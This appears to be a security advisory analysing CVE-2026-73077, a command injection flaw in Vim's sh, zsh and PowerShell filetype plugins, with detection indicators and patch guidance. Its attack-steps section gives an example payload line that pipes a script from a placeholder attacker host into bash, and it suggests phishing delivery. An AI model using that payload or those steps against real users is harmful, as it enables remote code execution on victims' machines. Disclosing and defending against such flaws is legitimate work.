CVE-2026-73077: 
Vim Analyse et atténuation des vulnérabilités

CVE-2026-73077 is an OS command injection vulnerability in Vim's filetype plugins that allows arbitrary code execution via malicious Visual-mode text selections. Affecting Vim versions prior to 9.2.0839, the vulnerability exists in runtime/ftplugin/sh.vim, runtime/ftplugin/zsh.vim, and runtime/ftplugin/ps1.vim. It was reported by GitHub user @manus-use, disclosed via a GitHub Security Advisory on July 23, 2026, and published to NVD on August 11, 2026. The vulnerability carries a CVSS v4.0 base score of 8.4 (High) (GitHub Advisory, Feedly).

The root cause is improper neutralization of shell metacharacters (CWE-78) in Vim's filetype plugins for bash, zsh, and PowerShell. When a buffer's filetype resolves to sh, bash, zsh, or PowerShell, the respective plugin defines a keywordprg command (e.g., ShKeywordPrg, ZshKeywordPrg, GetHelp) that interpolates user input directly into a shell command string such as bash -c "help <arg>". Because keywordprg values beginning with : are escaped using fnameescape() / PATH_ESC_CHARS rather than SHELL_ESC_CHARS, shell metacharacters like ;, &, (, ), and > are not neutralized before being passed to the shell interpreter. In Visual mode, the K key passes the entire selection verbatim — preserving any embedded metacharacters — allowing an attacker-controlled string to break out of the intended command and execute arbitrary OS commands. Normal-mode K is not affected because iskeyword characters exclude these metacharacters (GitHub Advisory, Fix Commit).

Successful exploitation allows arbitrary operating system command execution with the full privileges of the user running Vim. An attacker who can cause a victim to open a crafted shell script or PowerShell file, select a malicious line in Visual mode, and press K can execute any command the victim user is authorized to run — including reading sensitive files, establishing persistence, or pivoting to other systems. Confidentiality, integrity, and availability of the affected system are all at high risk (GitHub Advisory, Feedly).

As of the time of disclosure, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation (Feedly). The EPSS score is 0.0, reflecting low current exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires user interaction — specifically, the victim must open a crafted file, select attacker-controlled text in Visual mode, and invoke the K keyword lookup command — which limits the attack surface compared to fully remote or zero-interaction vulnerabilities (GitHub Advisory).

1. Craft a malicious file: Create a shell script (.sh, .bash, .zsh) or PowerShell script (.ps1) containing a line with embedded shell metacharacters, e.g., echo legitimate; curl http://attacker.com/shell.sh | bash.
2. Deliver the file to the victim: Use social engineering, phishing, or supply chain methods to get the victim to open the crafted file in Vim with filetype plugins enabled (the default configuration).
3. Wait for victim interaction: The victim must open the file in Vim, which automatically loads the vulnerable filetype plugin (sh.vim, zsh.vim, or ps1.vim) and sets the malicious keywordprg.
4. Trigger Visual-mode selection: The attacker's crafted file is designed to entice the victim to select the malicious line in Visual mode (e.g., by making it appear to be a command they want to look up help for).
5. Invoke keyword lookup: The victim presses K while the malicious text is selected in Visual mode, causing Vim to pass the entire selection — including shell metacharacters — to bash -c, zsh -c, or PowerShell's -Command, executing the injected OS commands with the victim's privileges (GitHub Advisory, Fix Commit).

• Process: Unexpected child processes spawned by Vim (e.g., bash, zsh, pwsh) executing commands beyond simple help or man lookups; shell processes with unusual arguments containing ;, &, or | characters.
• Network: Outbound connections from the Vim user's session to external hosts shortly after Vim is used to open .sh, .zsh, or .ps1 files.
• Logs: Shell history or audit logs (e.g., auditd, bash_history) showing commands executed in the context of the Vim process that were not explicitly typed by the user; PowerShell script block logging showing unexpected -Command arguments.
• File System: New or modified files (scripts, cron jobs, SSH authorized keys) created under the victim user's home directory or temp directories around the time Vim was in use.

Update Vim to version 9.2.0839 or later, which fixes the issue by passing the keyword argument as a separate list item to term_start() or system() rather than interpolating it into a shell command string, preventing metacharacter injection (Fix Commit). As a temporary workaround, avoid using the K command on untrusted or user-supplied text selections when editing shell or PowerShell scripts. Alternatively, disable the affected filetype plugins by adding let g:did_load_ftplugin = 1 or explicitly disabling them in your Vim configuration, or run Vim with reduced privileges to limit the impact of any command execution (GitHub Advisory).